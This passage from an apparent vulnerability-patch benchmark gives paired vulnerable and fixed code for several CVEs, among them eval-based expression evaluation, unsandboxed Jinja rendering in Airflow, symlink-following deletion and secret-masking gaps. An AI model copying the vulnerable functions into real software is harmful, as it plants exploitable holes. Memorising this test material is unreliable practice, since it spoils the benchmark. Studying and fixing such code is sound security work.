                "snippet": "  function evaluateExpression (expression, functionIdentifier, call) {\n    if (stack++ > MAX_STACK) {\n      stack = 0\n      throw new Error(\"Call stack overflow for \" + call)\n    }\n\n    if (expression === \"\") {\n      throw new Error(functionIdentifier + \"(): '\" + call + \"' must contain a non-whitespace string\")\n    }\n\n    expression = evaluateNestedExpression(expression, call)\n\n    var units = getUnitsInExpression(expression)\n\n    // If the expression contains multiple units or CSS variables,\n    // then let the expression be (i.e. browser calc())\n    if (units.length > 1 || expression.indexOf(\"var(\") > -1) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    var unit = units[0] || \"\"\n\n    if (unit === \"%\") {\n      // Convert percentages to numbers, to handle expressions like: 50% * 50% (will become: 25%):\n      // console.log(expression)\n      expression = expression.replace(/\\b[0-9\\.]+%/g, function(percent) {\n        return parseFloat(percent.slice(0, -1)) * 0.01\n      })\n    }\n\n    // Remove units in expression:\n    var toEvaluate = expression.replace(new RegExp(unit, \"gi\"), \"\")\n    var result\n\n    try {\n      result = eval(toEvaluate)\n    }\n    catch (e) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    // Transform back to a percentage result:\n    if (unit === \"%\") {\n      result *= 100\n    }\n\n    // adjust rounding shit\n    // (0.1 * 0.2 === 0.020000000000000004)\n    if (functionIdentifier.length || unit === \"%\") {\n      result = Math.round(result * decimalPrecision) / decimalPrecision\n    }\n\n    // Add unit\n    result += unit\n\n    return result\n  }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            36
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_26_1",
                "commit": "aebe8f7adce937c0fec4c1315e4113ef74cadb6a",
                "file_path": "index.js",
                "start_line": 45,
                "end_line": 101,
                "snippet": "  function evaluateExpression (expression, functionIdentifier, call) {\n    if (stack++ > MAX_STACK) {\n      stack = 0\n      throw new Error(\"Call stack overflow for \" + call)\n    }\n\n    if (expression === \"\") {\n      throw new Error(functionIdentifier + \"(): '\" + call + \"' must contain a non-whitespace string\")\n    }\n\n    expression = evaluateNestedExpression(expression, call)\n\n    var units = getUnitsInExpression(expression)\n\n    // If the expression contains multiple units or CSS variables,\n    // then let the expression be (i.e. browser calc())\n    if (units.length > 1 || expression.indexOf(\"var(\") > -1) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    var unit = units[0] || \"\"\n\n    if (unit === \"%\") {\n      // Convert percentages to numbers, to handle expressions like: 50% * 50% (will become: 25%):\n      // console.log(expression)\n      expression = expression.replace(/\\b[0-9\\.]+%/g, function(percent) {\n        return parseFloat(percent.slice(0, -1)) * 0.01\n      })\n    }\n\n    // Remove units in expression:\n    var toEvaluate = expression.replace(new RegExp(unit, \"gi\"), \"\")\n    var result\n\n    try {\n      result = mexp.eval(toEvaluate)\n    }\n    catch (e) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    // Transform back to a percentage result:\n    if (unit === \"%\") {\n      result *= 100\n    }\n\n    // adjust rounding shit\n    // (0.1 * 0.2 === 0.020000000000000004)\n    if (functionIdentifier.length || unit === \"%\") {\n      result = Math.round(result * decimalPrecision) / decimalPrecision\n    }\n\n    // Add unit\n    result += unit\n\n    return result\n  }"
            },
            {
                "id": "fix_js_26_2",
                "commit": "aebe8f7adce937c0fec4c1315e4113ef74cadb6a",
                "file_path": "index.js",
                "start_line": 35,
                "end_line": 37,
                "snippet": "  // CSS allow to omit 0 for 0.* values,\n  // but math-expression-evaluator does not\n  value = value.replace(/\\s(\\.[0-9])/g, \" 0$1\")"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2016-10548"
    },
    {
        "cve_id": "CVE-2020-26226",
        "cve_description": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3.",
        "cwe_info": {
            "CWE-116": {
                "name": "Improper Encoding or Escaping of Output",
                "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."
            }
        },
        "repo": "https://github.com/semantic-release/semantic-release",
        "patch_url": [
            "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_75_1",
                "commit": "63fa143",
                "file_path": "lib/hide-sensitive.js",
                "start_line": 4,
                "end_line": 17,
                "snippet": "module.exports = (env) => {\n  const toReplace = Object.keys(env).filter((envVar) => {\n    // https://github.com/semantic-release/semantic-release/issues/1558\n    if (envVar === 'GOPRIVATE') {\n      return false;\n    }\n\n    return /token|password|credential|secret|private/i.test(envVar) && size(env[envVar].trim()) >= SECRET_MIN_SIZE;\n  });\n\n  const regexp = new RegExp(toReplace.map((envVar) => escapeRegExp(env[envVar])).join('|'), 'g');\n  return (output) =>\n    output && isString(output) && toReplace.length > 0 ? output.toString().replace(regexp, SECRET_REPLACEMENT) : output;\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            11
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_75_1",
                "commit": "ca90b34c4a9333438cc4d69faeb43362bb991e5a",
                "file_path": "lib/hide-sensitive.js",
                "start_line": 4,
                "end_line": 22,
                "snippet": "module.exports = (env) => {\n  const toReplace = Object.keys(env).filter((envVar) => {\n    // https://github.com/semantic-release/semantic-release/issues/1558\n    if (envVar === 'GOPRIVATE') {\n      return false;\n    }\n\n    return /token|password|credential|secret|private/i.test(envVar) && size(env[envVar].trim()) >= SECRET_MIN_SIZE;\n  });\n\n  const regexp = new RegExp(\n    toReplace\n      .map((envVar) => `${escapeRegExp(env[envVar])}|${encodeURI(escapeRegExp(env[envVar]))}`)\n      .join('|'),\n    'g'\n  );\n  return (output) =>\n    output && isString(output) && toReplace.length > 0 ? output.toString().replace(regexp, SECRET_REPLACEMENT) : output;\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-26226"
    },
    {
        "cve_id": "CVE-2022-29217",
        "cve_description": "PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.",
        "cwe_info": {
            "CWE-327": {
                "name": "Use of a Broken or Risky Cryptographic Algorithm",
                "description": "The product uses a broken or risky cryptographic algorithm or protocol."
            }
        },
        "repo": "https://github.com/jpadilla/pyjwt",
        "patch_url": [
            "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_71_1",
                "commit": "24b29ad",
                "file_path": "jwt/algorithms.py",
                "start_line": 183,
                "end_line": 199,
                "snippet": "    def prepare_key(self, key):\n        key = force_bytes(key)\n\n        invalid_strings = [\n            b\"-----BEGIN PUBLIC KEY-----\",\n            b\"-----BEGIN CERTIFICATE-----\",\n            b\"-----BEGIN RSA PUBLIC KEY-----\",\n            b\"ssh-rsa\",\n        ]\n\n        if any(string_value in key for string_value in invalid_strings):\n            raise InvalidKeyError(\n                \"The specified key is an asymmetric key or x509 certificate and\"\n                \" should not be used as an HMAC secret.\"\n            )\n\n        return key",
                "vul_localization": [
                    {
                        "patch_lines": [
                            4,
                            5,
                            6,
                            7,
                            8,
                            9,
                            10,
                            11
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_71_2",
                "commit": "24b29ad",
                "file_path": "jwt/algorithms.py",
                "start_line": 553,
                "end_line": 573,
                "snippet": "        def prepare_key(self, key):\n\n            if isinstance(\n                key,\n                (Ed25519PrivateKey, Ed25519PublicKey, Ed448PrivateKey, Ed448PublicKey),\n            ):\n                return key\n\n            if isinstance(key, (bytes, str)):\n                if isinstance(key, str):\n                    key = key.encode(\"utf-8\")\n                str_key = key.decode(\"utf-8\")\n\n                if \"-----BEGIN PUBLIC\" in str_key:\n                    return load_pem_public_key(key)\n                if \"-----BEGIN PRIVATE\" in str_key:\n                    return load_pem_private_key(key, password=None)\n                if str_key[0:4] == \"ssh-\":\n                    return load_ssh_public_key(key)\n\n            raise TypeError(\"Expecting a PEM-formatted or OpenSSH key.\")",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2,
                            3,
                            4,
                            5,
                            6,
                            7
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            15,
                            16,
                            17,
                            18,
                            19,
                            20,
                            21
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_71_1",
                "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc",
                "file_path": "jwt/algorithms.py",
                "start_line": 185,
                "end_line": 194,
                "snippet": "    def prepare_key(self, key):\n        key = force_bytes(key)\n\n        if is_pem_format(key) or is_ssh_key(key):\n            raise InvalidKeyError(\n                \"The specified key is an asymmetric key or x509 certificate and\"\n                \" should not be used as an HMAC secret.\"\n            )\n\n        return key"
            },
            {
                "id": "fix_py_71_2",
                "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc",
                "file_path": "jwt/algorithms.py",
                "start_line": 548,
                "end_line": 570,
                "snippet": "        def prepare_key(self, key):\n            if isinstance(key, (bytes, str)):\n                if isinstance(key, str):\n                    key = key.encode(\"utf-8\")\n                str_key = key.decode(\"utf-8\")\n\n                if \"-----BEGIN PUBLIC\" in str_key:\n                    key = load_pem_public_key(key)\n                elif \"-----BEGIN PRIVATE\" in str_key:\n                    key = load_pem_private_key(key, password=None)\n                elif str_key[0:4] == \"ssh-\":\n                    key = load_ssh_public_key(key)\n\n            # Explicit check the key to prevent confusing errors from cryptography\n            if not isinstance(\n                key,\n                (Ed25519PrivateKey, Ed25519PublicKey, Ed448PrivateKey, Ed448PublicKey),\n            ):\n                raise InvalidKeyError(\n                    \"Expecting a EllipticCurvePrivateKey/EllipticCurvePublicKey. Wrong key provided for EdDSA algorithms\"\n                )\n\n            return key"
            },
            {
                "id": "fix_py_71_3",
                "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc",
                "file_path": "jwt/utils.py",
                "start_line": 101,
                "end_line": 130,
                "snippet": "\n\n# Based on https://github.com/hynek/pem/blob/7ad94db26b0bc21d10953f5dbad3acfdfacf57aa/src/pem/_core.py#L224-L252\n_PEMS = {\n    b\"CERTIFICATE\",\n    b\"TRUSTED CERTIFICATE\",\n    b\"PRIVATE KEY\",\n    b\"PUBLIC KEY\",\n    b\"ENCRYPTED PRIVATE KEY\",\n    b\"OPENSSH PRIVATE KEY\",\n    b\"DSA PRIVATE KEY\",\n    b\"RSA PRIVATE KEY\",\n    b\"RSA PUBLIC KEY\",\n    b\"EC PRIVATE KEY\",\n    b\"DH PARAMETERS\",\n    b\"NEW CERTIFICATE REQUEST\",\n    b\"CERTIFICATE REQUEST\",\n    b\"SSH2 PUBLIC KEY\",\n    b\"SSH2 ENCRYPTED PRIVATE KEY\",\n    b\"X509 CRL\",\n}\n\n_PEM_RE = re.compile(\n    b\"----[- ]BEGIN (\"\n    + b\"|\".join(_PEMS)\n    + b\"\"\")[- ]----\\r?\n.+?\\r?\n----[- ]END \\\\1[- ]----\\r?\\n?\"\"\",\n    re.DOTALL,\n)"
            },
            {
                "id": "fix_py_71_4",
                "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc",
                "file_path": "jwt/utils.py",
                "start_line": 133,
                "end_line": 147,
                "snippet": "def is_pem_format(key: bytes) -> bool:\n    return bool(_PEM_RE.search(key))\n\n\n# Based on https://github.com/pyca/cryptography/blob/bcb70852d577b3f490f015378c75cba74986297b/src/cryptography/hazmat/primitives/serialization/ssh.py#L40-L46\n_CERT_SUFFIX = b\"-cert-v01@openssh.com\"\n_SSH_PUBKEY_RC = re.compile(br\"\\A(\\S+)[ \\t]+(\\S+)\")\n_SSH_KEY_FORMATS = [\n    b\"ssh-ed25519\",\n    b\"ssh-rsa\",\n    b\"ssh-dss\",\n    b\"ecdsa-sha2-nistp256\",\n    b\"ecdsa-sha2-nistp384\",\n    b\"ecdsa-sha2-nistp521\",\n]"
            },
            {
                "id": "fix_py_71_5",
                "commit": "9c528670c455b8d948aff95ed50e22940d1ad3fc",
                "file_path": "jwt/utils.py",
                "start_line": 150,
                "end_line": 160,
                "snippet": "def is_ssh_key(key: bytes) -> bool:\n    if any(string_value in key for string_value in _SSH_KEY_FORMATS):\n        return True\n\n    ssh_pubkey_match = _SSH_PUBKEY_RC.match(key)\n    if ssh_pubkey_match:\n        key_type = ssh_pubkey_match.group(1)\n        if _CERT_SUFFIX == key_type[-len(_CERT_SUFFIX) :]:\n            return True\n\n    return False"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-29217"
    },
    {
        "cve_id": "CVE-2023-25168",
        "cve_description": "Wings is Pterodactyl's server control plane. This vulnerability can be used to delete files and directories recursively on the host system.  This vulnerability can be combined with `GHSA-p8r3-83r8-jwj5` to overwrite files on the host system. In order to use this exploit, an attacker must have an existing \"server\" allocated and controlled by Wings. This vulnerability has been resolved in version `v1.11.4` of Wings, and has been back-ported to the 1.7 release series in `v1.7.4`. Anyone running `v1.11.x` should upgrade to `v1.11.4` and anyone running `v1.7.x` should upgrade to `v1.7.4`. There are no known workarounds for this issue.",
        "cwe_info": {
            "CWE-59": {
                "name": "Improper Link Resolution Before File Access ('Link Following')",
                "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."
            }
        },
        "repo": "https://github.com/pterodactyl/wings",
        "patch_url": [
            "https://github.com/pterodactyl/wings/commit/429ac62dba22997a278bc709df5ac00a5a25d83d"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_83_1",
                "commit": "020abec6f2b4aef70c50a99570de30bb87f0bf67",
                "file_path": "server/filesystem/filesystem.go",
                "start_line": 389,
                "end_line": 431,
                "snippet": "func (fs *Filesystem) Delete(p string) error {\n\twg := sync.WaitGroup{}\n\t// This is one of the few (only?) places in the codebase where we're explicitly not using\n\t// the SafePath functionality when working with user provided input. If we did, you would\n\t// not be able to delete a file that is a symlink pointing to a location outside of the data\n\t// directory.\n\t//\n\t// We also want to avoid resolving a symlink that points _within_ the data directory and thus\n\t// deleting the actual source file for the symlink rather than the symlink itself. For these\n\t// purposes just resolve the actual file path using filepath.Join() and confirm that the path\n\t// exists within the data directory.\n\tresolved := fs.unsafeFilePath(p)\n\tif !fs.unsafeIsInDataDirectory(resolved) {\n\t\treturn NewBadPathResolution(p, resolved)\n\t}\n\n\t// Block any whoopsies.\n\tif resolved == fs.Path() {\n\t\treturn errors.New(\"cannot delete root server directory\")\n\t}\n\n\tif st, err := os.Lstat(resolved); err != nil {\n\t\tif !os.IsNotExist(err) {\n\t\t\tfs.error(err).Warn(\"error while attempting to stat file before deletion\")\n\t\t}\n\t} else {\n\t\tif !st.IsDir() {\n\t\t\tfs.addDisk(-st.Size())\n\t\t} else {\n\t\t\twg.Add(1)\n\t\t\tgo func(wg *sync.WaitGroup, st os.FileInfo, resolved string) {\n\t\t\t\tdefer wg.Done()\n\t\t\t\tif s, err := fs.DirectorySize(resolved); err == nil {\n\t\t\t\t\tfs.addDisk(-s)\n\t\t\t\t}\n\t\t\t}(&wg, st, resolved)\n\t\t}\n\t}\n\n\twg.Wait()\n\n\treturn os.RemoveAll(resolved)\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            22,
                            23,
                            24,
                            25,
                            26,
                            27,
                            28,
                            29,
                            30,
                            31,
                            32,
                            33,
                            34,
                            35,
                            36,
                            37,
                            38,
                            39,
                            40
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_83_1",
                "commit": "429ac62dba22997a278bc709df5ac00a5a25d83d",
                "file_path": "server/filesystem/filesystem.go",
                "start_line": 389,
                "end_line": 470,
                "snippet": "func (fs *Filesystem) Delete(p string) error {\n\t// This is one of the few (only?) places in the codebase where we're explicitly not using\n\t// the SafePath functionality when working with user provided input. If we did, you would\n\t// not be able to delete a file that is a symlink pointing to a location outside the data\n\t// directory.\n\t//\n\t// We also want to avoid resolving a symlink that points _within_ the data directory and thus\n\t// deleting the actual source file for the symlink rather than the symlink itself. For these\n\t// purposes just resolve the actual file path using filepath.Join() and confirm that the path\n\t// exists within the data directory.\n\tresolved := fs.unsafeFilePath(p)\n\tif !fs.unsafeIsInDataDirectory(resolved) {\n\t\treturn NewBadPathResolution(p, resolved)\n\t}\n\n\t// Block any whoopsies.\n\tif resolved == fs.Path() {\n\t\treturn errors.New(\"cannot delete root server directory\")\n\t}\n\n\tst, err := os.Lstat(resolved)\n\tif err != nil {\n\t\tif !os.IsNotExist(err) {\n\t\t\tfs.error(err).Warn(\"error while attempting to stat file before deletion\")\n\t\t\treturn err\n\t\t}\n\n\t\t// The following logic is used to handle a case where a user attempts to\n\t\t// delete a file that does not exist through a directory symlink.\n\t\t// We don't want to reveal that the file does not exist, so we validate\n\t\t// the path of the symlink and return a bad path error if it is invalid.\n\n\t\t// The requested file or directory doesn't exist, so at this point we\n\t\t// need to iterate up the path chain until we hit a directory that\n\t\t// _does_ exist and can be validated.\n\t\tparts := strings.Split(filepath.Dir(resolved), \"/\")\n\n\t\t// Range over all the path parts and form directory paths from the end\n\t\t// moving up until we have a valid resolution, or we run out of paths to\n\t\t// try.\n\t\tfor k := range parts {\n\t\t\ttry := strings.Join(parts[:(len(parts)-k)], \"/\")\n\t\t\tif !fs.unsafeIsInDataDirectory(try) {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tt, err := filepath.EvalSymlinks(try)\n\t\t\tif err == nil {\n\t\t\t\tif !fs.unsafeIsInDataDirectory(t) {\n\t\t\t\t\treturn NewBadPathResolution(p, t)\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Always return early if the file does not exist.\n\t\treturn nil\n\t}\n\n\t// If the file is not a symlink, we need to check that it is not within a\n\t// symlinked directory that points outside the data directory.\n\tif st.Mode()&os.ModeSymlink == 0 {\n\t\tep, err := filepath.EvalSymlinks(resolved)\n\t\tif err != nil {\n\t\t\tif !os.IsNotExist(err) {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else if !fs.unsafeIsInDataDirectory(ep) {\n\t\t\treturn NewBadPathResolution(p, ep)\n\t\t}\n\t}\n\n\tif st.IsDir() {\n\t\tif s, err := fs.DirectorySize(resolved); err == nil {\n\t\t\tfs.addDisk(-s)\n\t\t}\n\t} else {\n\t\tfs.addDisk(-st.Size())\n\t}\n\n\treturn os.RemoveAll(resolved)\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-25168"
    },
    {
        "cve_id": "CVE-2024-39877",
        "cve_description": "Apache Airflow's DAG documentation handling treats the DAG author-controlled `doc_md` value as template input and can render it with unsafe Jinja behavior during DAG parsing or scheduler-side processing. An authenticated DAG author can supply malicious documentation content, whether as inline markdown or documentation loaded from a markdown file, that abuses template evaluation to reach Python objects and execute arbitrary code or system commands in the scheduler context. This violates Airflow's security model by allowing DAG authors to escape the intended DAG author privilege boundary and affect scheduler-side files, secrets, credentials, or host state.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/apache/airflow",
        "patch_url": [
            "https://github.com/apache/airflow/commit/8159f6e24704f5e0e3b3217cf79ecf5083dce531"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_20_1",
                "commit": "09bbc9c",
                "file_path": "airflow/models/dag.py",
                "start_line": 771,
                "end_line": 788,
                "snippet": "    def get_doc_md(self, doc_md: str | None) -> str | None:\n        if doc_md is None:\n            return doc_md\n\n        env = self.get_template_env(force_sandboxed=True)\n\n        if not doc_md.endswith(\".md\"):\n            template = jinja2.Template(doc_md)\n        else:\n            try:\n                template = env.get_template(doc_md)\n            except jinja2.exceptions.TemplateNotFound:\n                return f\"\"\"\n                # Templating Error!\n                Not able to find the template file: `{doc_md}`.\n                \"\"\"\n\n        return template.render()",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5,
                            6,
                            7,
                            8,
                            9,
                            11,
                            12,
                            13,
                            14,
                            15,
                            16,
                            17,
                            18
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_20_1",
                "commit": "8159f6e",
                "file_path": "airflow/models/dag.py",
                "start_line": 771,
                "end_line": 781,
                "snippet": "    def get_doc_md(self, doc_md: str | None) -> str | None:\n        if doc_md is None:\n            return doc_md\n\n        if doc_md.endswith(\".md\"):\n            try:\n                return open(doc_md).read()\n            except FileNotFoundError:\n                return doc_md\n\n        return doc_md"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-39877"
    },
    {
        "cve_id": "CVE-2021-32783",
        "cve_description": "Contour is a Kubernetes ingress controller using Envoy proxy. In Contour before version 1.17.1 a specially crafted ExternalName type Service may be used to access Envoy's admin interface, which Contour normally prevents from access outside the Envoy container. This can be used to shut down Envoy remotely (a denial of service), or to expose the existence of any Secret that Envoy is using for its configuration, including most notably TLS Keypairs. However, it *cannot* be used to get the *content* of those secrets. Since this attack allows access to the administration interface, a variety of administration options are available, such as shutting down the Envoy or draining traffic. In general, the Envoy admin interface cannot easily be used for making changes to the cluster, in-flight requests, or backend services, but it could be used to shut down or drain Envoy, change traffic routing, or to retrieve secret metadata, as mentioned above. The issue will be addressed in Contour v1.18.0 and a cherry-picked patch release, v1.17.1, has been released to cover users who cannot upgrade at this time. For more details refer to the linked GitHub Security Advisory.",
        "cwe_info": {
            "CWE-610": {
                "name": "Externally Controlled Reference to a Resource in Another Sphere",
                "description": "The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere."
            }
        },
        "repo": "https://github.com/projectcontour/contour",
        "patch_url": [
            "https://github.com/projectcontour/contour/commit/b53a5c4fd927f4ea2c6cf02f1359d8e28bef852e"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_42_1",
                "commit": "b8136f7",
                "file_path": "internal/dag/accessors.go",
                "start_line": 54,
                "end_line": 79,
                "snippet": "func (dag *DAG) EnsureService(meta types.NamespacedName, port intstr.IntOrString, cache *KubernetesCache) (*Service, error) {\n\tsvc, svcPort, err := cache.LookupService(meta, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif dagSvc := dag.GetService(k8s.NamespacedNameOf(svc), svcPort.Port); dagSvc != nil {\n\t\treturn dagSvc, nil\n\t}\n\n\tdagSvc := &Service{\n\t\tWeighted: WeightedService{\n\t\t\tServiceName:      svc.Name,\n\t\t\tServiceNamespace: svc.Namespace,\n\t\t\tServicePort:      svcPort,\n\t\t\tWeight:           1,\n\t\t},\n\t\tProtocol:           upstreamProtocol(svc, svcPort),\n\t\tMaxConnections:     annotation.MaxConnections(svc),\n\t\tMaxPendingRequests: annotation.MaxPendingRequests(svc),\n\t\tMaxRequests:        annotation.MaxRequests(svc),\n\t\tMaxRetries:         annotation.MaxRetries(svc),\n\t\tExternalName:       externalName(svc),\n\t}\n\treturn dagSvc, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            6
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_42_1",
                "commit": "b53a5c4",
                "file_path": "internal/dag/accessors.go",
                "start_line": 54,
                "end_line": 84,
                "snippet": "func (dag *DAG) EnsureService(meta types.NamespacedName, port intstr.IntOrString, cache *KubernetesCache, enableExternalNameSvc bool) (*Service, error) {\n\tsvc, svcPort, err := cache.LookupService(meta, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = validateExternalName(svc, enableExternalNameSvc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif dagSvc := dag.GetService(k8s.NamespacedNameOf(svc), svcPort.Port); dagSvc != nil {\n\t\treturn dagSvc, nil\n\t}\n\n\tdagSvc := &Service{\n\t\tWeighted: WeightedService{\n\t\t\tServiceName:      svc.Name,\n\t\t\tServiceNamespace: svc.Namespace,\n\t\t\tServicePort:      svcPort,\n\t\t\tWeight:           1,\n\t\t},\n\t\tProtocol:           upstreamProtocol(svc, svcPort),\n\t\tMaxConnections:     annotation.MaxConnections(svc),\n\t\tMaxPendingRequests: annotation.MaxPendingRequests(svc),\n\t\tMaxRequests:        annotation.MaxRequests(svc),\n\t\tMaxRetries:         annotation.MaxRetries(svc),\n\t\tExternalName:       externalName(svc),\n\t}\n\treturn dagSvc, nil\n}"
            },
            {
                "id": "fix_go_42_2",
                "commit": "b53a5c4",
                "file_path": "internal/dag/accessors.go",
                "start_line": 86,
                "end_line": 116,
                "snippet": "func validateExternalName(svc *v1.Service, enableExternalNameSvc bool) error {\n\n\t// If this isn't an ExternalName Service, we're all good here.\n\ten := externalName(svc)\n\tif en == \"\" {\n\t\treturn nil\n\t}\n\n\t// If ExternalNames are disabled, then we don't want to add this to the DAG.\n\tif !enableExternalNameSvc {\n\t\treturn fmt.Errorf(\"%s/%s is an ExternalName service, these are not currently enabled. See the config.enableExternalNameService config file setting\", svc.Namespace, svc.Name)\n\t}\n\n\t// Check against a list of known localhost names, using a map to approximate a set.\n\t// TODO(youngnick) This is a very porous hack, and we should probably look into doing a DNS\n\t// lookup to check what the externalName resolves to, but I'm worried about the\n\t// performance impact of doing one or more DNS lookups per DAG run, so we're\n\t// going to go with a specific blocklist for now.\n\tlocalhostNames := map[string]struct{}{\n\t\t\"localhost\":               {},\n\t\t\"localhost.localdomain\":   {},\n\t\t\"local.projectcontour.io\": {},\n\t}\n\n\t_, localhost := localhostNames[en]\n\tif localhost {\n\t\treturn fmt.Errorf(\"%s/%s is an ExternalName service that points to localhost, this is not allowed\", svc.Namespace, svc.Name)\n\t}\n\n\treturn nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-32783"
    },
    {
        "cve_id": "CVE-2020-26294",
        "cve_description": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. In Vela compiler before version 0.6.1 there is a vulnerability which allows exposure of server configuration. It impacts all users of Vela. An attacker can use Sprig's `env` function to retrieve configuration information, see referenced GHSA for an example. This has been fixed in version 0.6.1. In addition to upgrading, it is recommended to rotate all secrets.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/go-vela/compiler",
        "patch_url": [
            "https://github.com/go-vela/compiler/commit/f1ace5f8a05c95c4d02264556e38a959ee2d9bda"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_5_1",
                "commit": "adf85cc6f434c069476eb3401cb9d9c1ea854585",
                "file_path": "template/native/render.go",
                "start_line": 16,
                "end_line": 51,
